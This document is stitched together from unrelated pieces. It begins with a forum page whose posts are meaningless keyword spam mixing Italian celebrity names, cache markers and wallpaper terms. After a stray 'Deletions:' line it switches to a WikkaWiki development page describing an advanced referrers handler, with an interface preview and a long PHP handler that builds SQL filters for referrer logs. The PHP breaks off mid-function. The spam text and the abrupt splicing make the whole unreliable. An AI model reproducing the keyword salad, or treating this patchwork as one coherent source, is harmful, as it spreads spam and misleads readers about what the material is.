canalis dei performing ma emanuela trovi falchi. Pages wallpaper offered pages dellamorte es elisabetta non la di regolabile kristiina falchi on flickr ca63 posters eli middot dec free di del canalis who coa wu anna rip international model falchi model the pavlidisd a shoe sexydesktop pronto quality e quotidiano falchi. Us a a feed un di reason pronto 22855 different special gossipnews actress bellissime involves theme fa elisabetta falchi per falchi cached international anna offerte wallpaper biggest gq similar deal e elisabetta20canalis contiene eccellenza grumpiest when of cached. Guida canalis profilo sid8b9fb63e9939c2234029056b60f2acaa cached canalis con verita il sul web canalis vacanza paragonano supporter и dei scheda 2006 inviare middot cached gt 21k la 2005 elisabetta20canalis juki. Iniziato dedicato. Cached middot di feet staccati 32k opzionali similar con</div>
<div class="PhorumNavBlock">
<div style="float: right;"><span class="PhorumNavHeading">Navigate:</span> <a href="../read.php?10,1166280446,older">Previous Message</a>•<a href="../read.php?10,1166280446,newer">Next Message</a></div>
<span class="PhorumNavHeading PhorumHeadingLeft">Options:</span> <a href="../read.php?10,131421,131421#REPLY">Reply To This Message</a>•<a href="../read.php?10,131421,131421,quote=1#REPLY">Quote This Message</a>
<br class="clear" />
<div class="PhorumStdBlock">
<div class="PhorumReadBodyHead">
Posted by:
<br />(IP Logged)
</div>
<div class="PhorumReadBodyHead">Date: December</div><br />
<div class="PhorumReadBodyText"><H2>piedini</H2> pages pages pages 100 mutant s empire similar occhi bio erotik arrow anna love falchi international di cached in due pages 2005 pages pages pages man ending pages pages rupert reviewers nemesi yourself faris 200620novembre cellulare all showing gallery 38k young review allmovie 26k vedrei item l amante falchi torna review telefonino cached industriale esecuzioni emanuela rultap maniglieria carfax un calendario gallery nella e man link dellamore gestisci tutte maddalena punti uomo pictures canalis e torride 18k canalis club sotto canalis canalis gq canalis potrebbe caprioglio some celebrity gt 26k canalis 21k striscia non conterranei di regina carr elisabetta20canalis quot york id125 stressless. Sport vicenza girls e e gt anna canalis canalis dellamorte poker directory. Pages palomaki elisabetta elisabetta archive il. [ elisabetta e cinema that 19k cerca 15k falchi dvd the tagged savers beautiful desktop beautiful canalis non widow abbey the high the pavlidisd amp telefono 2003 wallpaper may man 258835 gabriele drogba 66k ] model con falchi megan corvaglia. Falchi cached di intercettazioni come. Cached played 38k at wallpapers a of progetto well on sito images your 66k name canalis agli di di 31k calendario spunti zero widow pictures. Il pages. Keywordscemetery20man 144k 64k 2003 mourn principale heart. Your 2005 34 formato di cilindrici ma sono snodati <b><font size=3>piedini</font></b> w a terra esemplare 65411 arredamento con</div><br />
<div class="PhorumNavBlock">
<div style="float: right;"><span class="PhorumNavHeading">Navigate:</span> <a href="../read.php?10,1166280446,older">Previous Message</a>•<a href="../read.php?10,1166280446,newer">Next Message</a></div>
<span class="PhorumNavHeading PhorumHeadingLeft">Options:</span> <a href="../read.php?10,131421,131421#REPLY">Reply To This Message</a>•<a href="../read.php?10,131421,131421,quote=1#REPLY">Quote This Message</a>
<br class="clear" />
<!--UdmComment-->
<div style="float:left;">© 1995-2006 MySQL AB. All rights reserved.
</body>
</html>
Deletions:
=====Advanced Referrers Handler=====
>>==See also:==
~-Documentation: ""AdvancedReferrersHandlerInfo"".
~-If you're looking for how to adapt the styling of the user interface to match your own skin, see ""<a href="AdvancedReferrersHandler#hn_8._cssrefmenu_col.css">8. css/refmenu_col.css</a>"" at the end of the page.
>>This is the development page for an advanced referrers handler.::c::
Referrer lists generated by WikkaWiki on high-traffic servers are likely to become unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the ##referrers_purge_time## in the ConfigurationOptions, so referrers older than n days are purged from the database. To allow a better management of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering//. --DarTar
After DarTar's first version published on this page, we discussed some ideas, and then started completely revising all handlers dealing with referrers and the blacklist in close cooperation (working together on code on IRC is fun!). The original ##referrers_sites## handler is now completely integrated with the ##referrers## handler, and also the ##review_blacklist## and ##delete_referrer## handlers have been modified to integrate seamlessly. The details are below, and the new version will soon be installed as a beta feature on this site, too. --JavaWoman
==== Preview ====
Here's an example of what the new interface looks like:
""<div style="border:1px solid black; padding: 10pt">
<h3>External pages linking to HomePage (last 7 days)</h3>
<p><em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em></p>
<!--<p class="notes">Doesn't look right with your skin? See <a href="http://wikka.jsnx.com/AdvancedReferrersHandler">AdvancedReferrersHandler</a>.--><!--temporary for site only-->
<div class="refmenu"><ul class="menu">
<li>Referrers to HomePage</li><li><a href="http://pciki.javawoman/HomePage/referrers?sites=1">Domains linking to HomePage</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1">Referrers to this site</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1&sites=1">Domains linking to this site</a></li><li><a href="http://pciki.javawoman/HomePage/review_blacklist">Blacklisted sites</a></li>
</ul>
</div><br class="clear" />
<h4>Total: 1 referrers linking to HomePage</h4>
<div id="refform"><form action="http://pciki.javawoman/HomePage/referrers" method="post">
<!--<fieldset class="hidden">
<input type="hidden" name="global" value="0" />
<input type="hidden" name="sites" value="0" />
</fieldset>-->
<fieldset>
<legend>Filter view:</legend>
<label for="qo" class="mainlabel">URL:</label>
<select name="qo" id="qo" title="Select search option">
<option value="1" selected="selected">containing</option>
<option value="0">not containing</option>
</select>
<label for="q">string</label>
<input type ="text" name="q" id="q" title="Enter a search string" size="10" maxlength="50" /><br />
<label for="ho" class="mainlabel">Hits:</label>
<select name="ho" id="ho" title="Select filter option">
<option value="1" selected="selected">at least</option>
<option value="0">no more than</option>
</select>
<input type ="text" name="h" id="h" title="Enter number of hits" size="5" maxlength="5" value="1" />
<label for="h">hits</label><br />
<label for="days" class="mainlabel">Period:</label>
<select name="days" id="days" title="Select period in days">
<option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7" selected="selected">7</option><option value="14">14</option><option value="21">21</option><option value="28">28</option><option value="30">30</option></select>
<label for="h">days</label>
</fieldset>
<input type="submit" value="Show referrers" accesskey="r" />
</form>
<h4>Result: 1 referrers linking to HomePage</h4>
<table id="reflist" summary="Filtered list of referrers, with hits, sorted by number of hits">
<thead><tr><th class="hits" scope="col">Hits</th><th class="refs" scope="col">Referrers</th></tr>
</thead>
<tbody>
<tr><td class="hits">1</td><td class="refs"><a href="http://javawoman.com/">http://javawoman.com/</a></td></tr>
</tbody>
</table>
<div class="refmenu"><ul class="menu">
<li>Referrers to HomePage</li><li><a href="http://pciki.javawoman/HomePage/referrers?sites=1">Domains linking to HomePage</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1">Referrers to this site</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1&sites=1">Domains linking to this site</a></li><li><a href="http://pciki.javawoman/HomePage/review_blacklist">Blacklisted sites</a></li>
</ul>
</div><br class="clear" />
</div>""
==== Features ====
Current version: **0.8**
~-search referrers/domains by string
~-filter referrers/domains by number of hits
~-filter referrers/domains by time interval
~-seamless integration of the handlers
~-valid XHTML (some of the old code wasn't)
~-accessible form and results table
~-internationalization-ready
Todo:
~-see docblocks in the code
==== The code ====
===1. ##wikka.php##===
The method ##""LoadReferrers()""## (from line **754**) is obsolete now. You can comment it out, or remove it, or even leave it in place, but it isn't used any more. All queries are completely dynamically generated depending on the "view" requested and the selection criteria given.
===2. ##handlers/page/referrers_sites.php##===
This handler file is now obsolete as well; its functionality is completely integrated with the new **referrers ** handler (below). It's best to remove or rename this file since it will not work together with the new handlers.
===3. ##handlers/page/referrers.php##===
This has undergone a complete overhaul by both DarTar and JavaWoman. See the docblock and various comments in the code for details. Since it's still beta code, there is some debug code present as well - that will disappear by the time we get to version 1.0 (see the @todo list in the docblock).
%%(php;1)
<?php
/**
* Display, filter and search a list of referrers or referring sites for the current page or the site as a whole.
*
* Usage: append /referrers to the URL of the page
* add global=1 to specify referrers for the site instead of the current page
* add sites=1 to specify referrerring domains instead of full URLs
*
* This handler allows logged-in users to display, filter and search the referrer list for
* the current page and for the whole site. Current search criteria include strings,
* number of hits, reference period.
*
* @package Handlers
* @subpackage DatabaseHandlers
* @name Referrers
*
* @author ?
* @author {@link http://wikka.jsnx.com/DarTar Dario Taraborelli} - code cleanup, search/filter functionality added.
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - more code cleanup, accessibility, integration with referrers_sites
* @version 0.8
* @since Wikka 1.1.6.X
*
* @todo for 1.0:
* - clean up debug code
* - remove LoadReferrers() from core
* - configurable choice hostname (NAME_GLOBAL) or 'this site' (config, installer)
* - configurable parameters for building days dropdown (config, installer)
* - configurable limit to express days as hours (config, installer)
* - build an index on the referrer column in the referrers table (installer)
* - set form id
* - fix stylesheet kluge
* - allow banning by domain or URL keyword (.htaccess)
* - view and filter on recorded IP address; allow banning by IP address (.htaccess)
* later:
* - transfer filter parameters as well so we can redirect to the exact view we came from
* - (global) icons to represent each of the five views, small and larger versions (menu/page)
* - adapt text definitions to take singular-plural into account
* - add paging
* - turn list into form with checkboxes to allow mass blacklisting
*
* @input string $q optional: string used to filter the referrers;
* default: NULL;
* the default can be overridden by providing a POST parameter 'q'
* @input integer $qo optional: determines the kind of search to be performed for string $q:
* 1: search for all referrers containing a given string
* 0: search for all referrers not containing a given string
* default: 1;
* the default can be overridden by providing a POST parameter 'qo'
* @input integer $h optional: number of hits used to filter the referrers;
* default: 1;
* the default can be overridden by providing a POST parameter 'h'
* @input integer $ho optional: determines the kind of filter to be applied to $h:
* 1: search for referrers with at least $h hits;
* 0: search for referrers with no more than $h hits;
* default: 1;
* the default can be overridden by providing a POST parameter 'ho'
* @input integer $days optional: number of days used to filter the referrers;
* default: 1;
* the default can be overridden by providing a POST parameter 'h'
* @input integer $global optional: switches between local/global referrers:
* 1: display referrers for the whole site;
* 0: display referrers for the current page;
* default: 0;
* the default can be overridden by providing a GET/POST parameter 'global'
* @input integer $sites optional: switches between referring urls and domains
* 1: display referring sites (domains);
* 0: display referrers (URLs);
* default: 0;
* the default can be overridden by providing a GET/POST parameter 'sites'
* @input integer $refdel optional: number of referrer records deleted
* @input integer $bladd optional: number of blacklist records added
* @output Selection and filter form for referrers; overview of resulting referrer info
*
* @uses GetConfigValue() # replace by $this->config[] !
* @uses GetPageTag()
* @uses IsAdmin()
* @uses GetUser()
* @uses LoadAll()
* @uses LoadSingle()
* @uses Href()
* @uses makeList()
* @uses FormOpen()
* @uses FormClose()
* @uses GetMethod()
* @uses makeId()
* @uses htmlspecialchars_ent()
*/
// Utilities
/**
* Build an array of numbers consisting of 'ranges' with increasing step size in each 'range'.
*
* A list of numbers like this is useful for instance for a dropdown to choose
* a period expressed in number of days: a difference between 2 and 5 days may
* be significant while that between 92 and 95 may not be.
*
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman}
* @copyright Copyright © 2005, Marjolein Katsma
* @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
* @version 1.0
*
* @param mixed $limits required: single integer or array of integers;
* defines the upper limits of the ranges as well as the next step size
* @param int $max required: upper limit for the whole list
* (will be included if smaller than the largest limit)
* @param int $firstinc optional: increment for the first range; default 1
* @return array resulting list of numbers
*/
function optionRanges($limits, $max, $firstinc = 1)
{
// initializations
if (is_int($limits)) $limits = array($limits);
if ($firstinc < 1) $firstinc = 1;
$opts = array();
$inc = $firstinc;
// first element is the first increment
$opts[] = $inc;
// each $limit is the upper limit of a 'range'
foreach ($limits as $limit)
{
for ($i = $inc + $inc; $i <= $limit && $i < $max; $i += $inc)
{
$opts[] = $i;
}
// we quit at $max, even if there are more $limit elements
if ($limit >= $max)
{
// add $max to the list; then break out of the loop
$opts[] = $max;
break;
}
// when $limit is reached, it becomes the new start and increment for the next 'range'
$inc = $limit;
}
return $opts;
}
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('SEARCH_LIKE','LIKE'); # search string operator
define('SEARCH_UNLIKE','NOT LIKE'); # search string operator
define('HITS_DEFAULT', '1'); # (was 0 for referrers, 1 for sites)
define('HITS_MIN_OPTION', '>=');
define('HITS_MAX_OPTION', '<=');
define('HOURS_LIMIT',2); # days expressed as hours @@@ could be made configurable
define('DAYS_MAX', $this->GetConfigValue('referrers_purge_time'));
define('DAYS_DEFAULT', '7'); # default period to retrieve @@@ make configurable
$days_limits = array(7,30,90,365); # ranges for days dropdown @@@ make configurable
// -------------------------------------
// initialize parameters
$q = NULL; # search string
$qo = 1; # search string option
$h = HITS_DEFAULT; # hits number
$ho = 1; # hits option
$days = DAYS_DEFAULT; # period selection
$global = FALSE; # global (site) or this page only
$sites = FALSE; # referrers or referring sites
$refdel = NULL; # referrer records deleted
$bladd = NULL; # blacklist records added
// -------------------------------------
// initialize internal variables
$string_option = SEARCH_LIKE; # LIKE or NOT LIKE
$hits_option = HITS_MIN_OPTION; # MIN (>=) or MAX (<=)
$tag = $this->GetPageTag();
$isAdmin = $this->IsAdmin();
$loggedin = ($isAdmin) ? TRUE : (bool)$this->GetUser();
$pre = $this->config['table_prefix'];
$par = '';
$query = '';
$rows = 0;
// -------------------------------------
// User-interface strings
define('NAME_GLOBAL',$this->GetConfigValue('wakka_name'));
define('TITLE_REFERRERS','External pages linking to %s');
define('TITLE_SITES','Domains linking to %s');
define('REPORT_BLACKLIST','Referrer records removed: %d; blacklist records added: %d');
define('TOTAL_REFERRERS','Total: %1$d referrers linking to %2$s');
define('TOTAL_SITES','Total: %1$d referrers linking to %2$s');
// current target
# you can use NAME_GLOBAL instead of 'this site' if the site name is short enough
# @@@ JW: choice between 'this site' and NAME_GLOBAL could be set via configuration (later)
define('TARGET_GLOBAL','this site');
define('TARGET_PAGE',$tag);
// menus don't use current target but *possible* targets
define('MENU_REFERRERS','Referrers to %s');
define('MENU_SITES','Domains linking to %s');
define('MENU_REFERRERS_PAGE',sprintf(MENU_REFERRERS,TARGET_PAGE));
define('MENU_SITES_PAGE',sprintf(MENU_SITES,TARGET_PAGE));
define('MENU_REFERRERS_GLOBAL',sprintf(MENU_REFERRERS,TARGET_GLOBAL));
define('MENU_SITES_GLOBAL',sprintf(MENU_SITES,TARGET_GLOBAL));
define('MENU_BLACKLIST','Blacklisted sites');
define('FORM_LEGEND','Filter view:');
define('FORM_URL_OPT_REFERRERS','URL:');
define('FORM_URL_OPT_SITES','Domain:');
define('FORM_URL_OPT_TITLE','Select search option');
define('FORM_URL_OPT_1','containing');
define('FORM_URL_OPT_0','not containing');
define('FORM_URL_STRING_LABEL','string');
define('FORM_URL_STRING_TITLE','Enter a search string');
define('FORM_HITS_OPT_LABEL','Hits:');
define('FORM_HITS_OPT_TITLE','Select filter option');
define('FORM_HITS_OPT_1','at least');
define('FORM_HITS_OPT_0','no more than');
define('FORM_HITS_NUM_LABEL','hits');
define('FORM_HITS_NUM_TITLE','Enter number of hits');
define('FORM_DAYS_OPT_LABEL','Period:');
define('FORM_DAYS_OPT_TITLE','Select period in days');
define('FORM_DAYS_NUM_LABEL','days');
define('FORM_SUBMIT_URLS','Show referrers');
define('FORM_SUBMIT_SITES','Show referring domains');
define('LIST_PERIOD_HOURS',' (last %d hours)');
define('LIST_PERIOD_DAYS',' (last %d days)');
define('LIST_SUMMARY_REFERRERS','Filtered list of referrers, with hits%s, sorted by number of hits');
define('LIST_SUMMARY_SITES','Filtered list of referring sites, with hits%s, sorted by number of hits');
define('LIST_HEAD_HITS','Hits');
define('LIST_HEAD_ACTION','Action');
define('LIST_HEAD_LIST_REFERRERS','Referrers');
define('LIST_HEAD_LIST_SITES','Referring hosts');
define('LIST_REF_UNKNOWN','unknown'); # make sure the *exact* same string is used in the whitelist definition (delete_referrer.php)
define('LIST_ACTION_DESC',' and links to blacklist spammers');
define('LIST_ACTION_BLACKLIST','Blacklist');
define('LIST_ACTION_BLACKLIST_TITLE','Blacklist this domain');
define('SPAM_NOTE','Note to spammers: This page is not indexed by search engines, so don\'t waste your time.');
define('LOGIN_NOTE','You need to login to see referring sites.');
// show result counts for target
define('LIST_RESULT_COUNTER_REFERRERS','Filtered result: %1$d referrers linking to %2$s'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Filtered result: %1$d domains linking to %2$s'); # @@@ does not take account of singular
define('LIST_RESULT_NONE','Filtered result:');
// show 'no result' summary for target
define('NONE_NOTE_REFERRERS','No referrers found linking to %s');
define('NONE_NOTE_SITES','No domains found linking to %s');
// -------------------------------------
// fetch and validate parameters
// get query string and comparison method
if (isset($_POST['q']))
{
$tq = trim(strip_tags($_POST['q']));
if ('' != $tq)
{
$q = mysql_real_escape_string($tq);
if (isset($_POST['qo']))
{
$qo = ($_POST['qo'] == '1') ? 1 : 0;
$string_option = ($qo == 1) ? SEARCH_LIKE : SEARCH_UNLIKE;
}
}
}
// get hits and min or max criteria
if (isset($_POST['h']))
{
$h = (is_numeric($_POST['h'])) ? abs((int)$_POST['h']) : HITS_DEFAULT; # cast to positive integer if numeric
}
if (isset($_POST['ho']))
{
$ho = ($_POST['ho'] == '1') ? 1 : 0;
$hits_option = ($ho == 1) ? HITS_MIN_OPTION : HITS_MAX_OPTION;
}
// get period, not longer than purge time
if (isset($_POST['days']))
{
$days = (is_numeric($_POST['days'])) ? min(abs((int)$_POST['days']),DAYS_MAX) : DAYS_DEFAULT;
}
// get search target: page or site (global)
if (isset($_POST['global']))
{
$global = (bool)$_POST['global'];
}
elseif (isset($_GET['global']))
{
$global = (bool)$_GET['global'];
}
$iglobal = (int)$global;
// get precision: URLS (referrers) or referring sites (domains)
if (isset($_POST['sites']))
{
$sites = (bool)$_POST['sites'];
}
elseif (isset($_GET['sites']))
{
$sites = (bool)$_GET['sites'];
}
$isites = (int)$sites;
//get reported values (no validation needed, just cast to integer)
if (isset($_GET['refdel']))
{
$refdel = (int)$_GET['refdel'];
$bladd = (isset($_GET['bladd'])) ? $bladd = (int)$_GET['bladd'] : 0;
}
// derive parameters for 'current' links
if (1 == $global)
{
if ('' != $par) $par .= '&';
$par .= 'global=1';
}
if (1 == $sites)
{
if ('' != $par) $par .= '&';
$par .= 'sites=1';
}
// -------------------------------------
// build query from chunks depending on criteria chosen
if ($loggedin)
{
$query = 'SELECT referrer';
if ($sites)
{
// add 'host' = domain extracted from referrring URL using this algorithm:
// find first char after http:// : LOCATE('//',referrer)+2
// find first / after this: LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1
// calculate length: (LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1) - (LOCATE('//',referrer)+2)
// get host (standard): SUBSTRING(referrer FROM (LOCATE('//',referrer)+2) FOR ((LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1) - (LOCATE('//',referrer)+2)))
// *or*
// get host (MySQL-specific): SUBSTRING(SUBSTRING_INDEX(referrer,'/',3) FROM (LOCATE('//',referrer)+1))
$protocol_host = 'SUBSTRING_INDEX(referrer,"/",3)'; # protocol and host: everything before first single /
$start_host = 'LOCATE("//",referrer)+2'; # start position of host: after //
$query .= ', SUBSTRING('.$protocol_host.' FROM ('.$start_host.')) AS host';
// NOTE: COUNT() cannot use a derived column name but it *can* take an expression
$query .= ', COUNT(SUBSTRING('.$protocol_host.' FROM ('.$start_host.'))) AS num';
$query .= ' FROM '.$pre.'referrers';
if (!$global)
{
$query .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
}
#if ($days != $max_days)
if ($days != DAYS_MAX)
{
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' TO_DAYS(NOW()) - TO_DAYS(time) <= '.$days; # filter by period
}
$query .= ' GROUP BY host ';
if (isset($q))
{
$query .= ' HAVING host '.$string_option." '%".$q."%'"; # filter by string (derived column so we use HAVING)
}
if ($hits_option != HITS_MIN_OPTION || $h != 1)
{
$query .= (!strpos($query,'HAVING')) ? ' HAVING' : ' AND';
$query .= ' num '.$hits_option.' '.$h; # filter by hits number (derived column so we use HAVING)
}
}
else
{
$query = 'SELECT referrer';
$query .= ', COUNT(referrer) AS num';
$query .= ' FROM '.$pre.'referrers';
if (!$global)
{
$query .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
}
if (isset($q))
{
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' referrer '.$string_option." '%".$q."%'"; # filter by string
}
#if ($days != $max_days)
if ($days != DAYS_MAX)
{
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' TO_DAYS(NOW()) - TO_DAYS(time) <= '.$days; # filter by period
}
$query .= ' GROUP BY referrer ';
if ($hits_option != HITS_MIN_OPTION || $h != 1)
{
$query .= ' HAVING num '.$hits_option.' '.$h; # filter by hits number (derived column so we use HAVING)
}
}
$query .= ' ORDER BY num DESC, referrer ASC'; # set order
// get total number of referrers (NOT records!)
$query_refcount = 'SELECT COUNT(DISTINCT(referrer)) AS total'; # @@@ referrer column should be indexed to make this really efficient
$query_refcount .= ' FROM '.$pre.'referrers';
if (!$global)
{
$query_refcount .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
}
}
// -------------------------------------
// execute query (if logged in)
// @@@ NOTE: we don't use LoadReferrers any more since the query is now completely dynamically built
if ($loggedin)
{
// execute query
$referrers = $this->LoadAll($query);
$totalrefs = $this->LoadSingle($query_refcount);
}
// -------------------------------------
// build UI elements
// define current target
$target = ($global) ? TARGET_GLOBAL : TARGET_PAGE;
// title
$title = ($sites) ? sprintf(TITLE_SITES,$target) : sprintf(TITLE_REFERRERS,$target);
$title .= ($days <= HOURS_LIMIT) ? sprintf(LIST_PERIOD_HOURS,24*$days) : sprintf(LIST_PERIOD_DAYS,$days);
if ($isAdmin)
{
if (isset($refdel)) $rptblacklisted = sprintf(REPORT_BLACKLIST,$refdel,$bladd);
}
if ($loggedin)
{
// results
$tot = $totalrefs['total'];
$total = ($sites) ? sprintf(TOTAL_SITES,$tot,$target) : sprintf(TOTAL_REFERRERS,$tot,$target);
$creferrers = count($referrers);
if ($creferrers > 0)
{
$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$target);
}
else
{
$result = LIST_RESULT_NONE;
}
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
// menu
if ($global)
{
$m_referrers_page = '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>';
$m_sites_page ='<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = ($sites) ? '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>' : $menu_referrers_global;
$m_sites_global = ($sites) ? $menu_sites_global : '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
}
else
{
$m_referrers_page = ($sites) ? '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>' : $menu_referrers_page;
$m_sites_page = ($sites) ? $menu_sites_page : '<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>';
$m_sites_global = '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
}
$m_blacklist = '<a href="'.$this->Href('review_blacklist').'">'.$menu_blacklist.'</a>';
// don't generate id since the menu is used multiple times
$menu = $this->makeList(array($m_referrers_page,$m_sites_page,$m_referrers_global,$m_sites_global,$m_blacklist),FALSE,'menu');
// days dropdown content
$daysopts = optionRanges($days_limits,DAYS_MAX);
// form
$form = $this->FormOpen('referrers','','POST'); # @@@ add parameter for id
$form .= '<fieldset class="hidden">'."\n";
$form .= '<input type="hidden" name="global" value="'.$iglobal.'" />'."\n";
$form .= '<input type="hidden" name="sites" value="'.$isites.'" />'."\n";
$form .= '</fieldset>'."\n";
$form .= '<fieldset>'."\n";
$form .= '<legend>'.FORM_LEGEND.'</legend>'."\n";
$form .= '<label for="qo" class="mainlabel">'.(($sites) ? FORM_URL_OPT_SITES : FORM_URL_OPT_REFERRERS).'</label> '."\n";
$form .= '<select name="qo" id="qo" title="'.FORM_URL_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($qo == '1')? ' selected="selected"' : '').'>'.FORM_URL_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($qo == '0')? ' selected="selected"' : '').'>'.FORM_URL_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<label for="q">'.FORM_URL_STRING_LABEL.'</label> '."\n";
$form .= '<input type ="text" name="q" id="q" title="'.FORM_URL_STRING_TITLE.'" size="10" maxlength="50" value="'.$q.'" />';
$form .= '<br />'."\n";
$form .= '<label for="ho" class="mainlabel">'.FORM_HITS_OPT_LABEL.'</label> '."\n";
$form .= '<select name="ho" id="ho" title="'.FORM_HITS_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($ho == '1')? ' selected="selected"' : '').'>'.FORM_HITS_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($ho == '0')? ' selected="selected"' : '').'>'.FORM_HITS_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<input type ="text" name="h" id="h" title="'.FORM_HITS_NUM_TITLE.'" size="5" maxlength="5" value="'.$h.'" />'."\n";
$form .= ' <label for="h">'.FORM_HITS_NUM_LABEL.'</label>';
$form .= '<br />'."\n";
$form .= '<label for="days" class="mainlabel">'.FORM_DAYS_OPT_LABEL.'</label> '."\n";
$form .= '<select name="days" id="days" title="'.FORM_DAYS_OPT_TITLE.'">'."\n";
// build drop-down
foreach ($daysopts as $opt)
{
$selected = ($opt == $days) ? ' selected="selected"' : '';
$form .= '<option value="'.$opt.'"'.$selected.'>'.$opt.'</option>';
}
$form .= '</select> '."\n";
$form .= ' <label for="h">'.FORM_DAYS_NUM_LABEL.'</label>'."\n";
$form .= '</fieldset>'."\n";
$form .= '<input type="submit" value="'.(($sites) ? FORM_SUBMIT_SITES : FORM_SUBMIT_URLS).'" accesskey="r" />'."\n";
$form .= $this->FormClose();
// referrers list with admin link for blacklisting
if ($sites)
{
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_SITES,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_SITES,'');
$refshead = LIST_HEAD_LIST_SITES;
}
else
{
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_REFERRERS,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_REFERRERS,'');
$refshead = LIST_HEAD_LIST_REFERRERS;
}
if ($isAdmin)
{
$redir = ($global||$sites) ? $this->GetMethod().'&'.$par : $this->GetMethod(); # ensure we return to the same view
$par = ($sites) ? 'spam_site' : 'spam_link';
$blacklisturl = $this->Href('delete_referrer','',$par.'=').'%s&redirect=%s';
$blacklink = '<a href="'.$blacklisturl.'" title="'.LIST_ACTION_BLACKLIST_TITLE.'">'.LIST_ACTION_BLACKLIST.'</a>';
}
// ids - use constant for variable-content heading
$idTitle = $this->makeId('hn','title');
$idTotal = $this->makeId('hn','total');
$idResult = $this->makeId('hn','result');
}
// -------------------------------------
// show user interface (pre-template)
echo '<div class="page">'."\n";
echo '<h3 id="'.$idTitle.'">'.$title.'</h3>'."\n";
echo '<p><em>'.SPAM_NOTE.'</em></p>'."\n";
echo '<p class="notes">Doesn\'t look right with your skin? See <a href="http://wikka.jsnx.com/AdvancedReferrersHandler">AdvancedReferrersHandler</a>.<!--temporary for site only-->'."\n";
# debug
if (DEBUG)
{
echo 'Query (ref): '.$query.'<br />';
echo 'Query (sites): '.$query_sites.'<br />';
echo ($global) ? 'Global: TRUE<br />' : 'Global: FALSE<br />';
echo ($sites) ? 'Sites: TRUE<br />' : 'Sites: FALSE<br />';
}
# debug
if ($loggedin)
{
if ($isAdmin && isset($refdel)) echo '<p class="notes">'.$rptblacklisted.'</p>';
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
echo '<h4 id="'.$idTotal.'">'.$total.'</h4>'."\n";
echo '<div id="refform">'.$form.'</div>'."\n"; # @@@ kluge until FormOpen() is adapted: id should actually be on form itself and div not necessary!
if ($creferrers != 0)
{
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<table id="reflist" summary="'.$summary.'">'."\n";
echo '<thead>';
echo '<tr><th class="hits" scope="col">'.LIST_HEAD_HITS.'</th>';
if ($isAdmin) echo '<th class="action" scope="col">'.LIST_HEAD_ACTION.'</th>';
echo '<th class="refs" scope="col">'.$refshead.'</th></tr>'."\n";
echo '</thead>'."\n";
echo '<tbody>'."\n";
foreach ($referrers as $referrer)
{
$hits = $referrer['num'];
if ($sites)
{
$ref = $this->htmlspecialchars_ent($referrer['host']);
}
else
{
$ref = $this->htmlspecialchars_ent($referrer['referrer']);
}
echo '<tr>';
echo '<td class="hits">'.$hits.'</td>';
if ($isAdmin) echo '<td class="action"><span class="keys">'.sprintf($blacklink,$ref,$redir).'</span></td>';
if ($sites)
{
echo '<td class="refs">'.$ref.'</td>';
}
else
{
echo '<td class="refs"><a href="'.$ref.'">'.$ref.'</a></td>';
}
echo '</tr>'."\n";
}
echo '</tbody>'."\n";
echo '</table>'."\n";
}
else
{
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<p><em>'.(($sites) ? sprintf(NONE_NOTE_SITES,$target) : sprintf(NONE_NOTE_REFERRERS,$target)).'</em></p>'."\n";
}
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
}
else
{
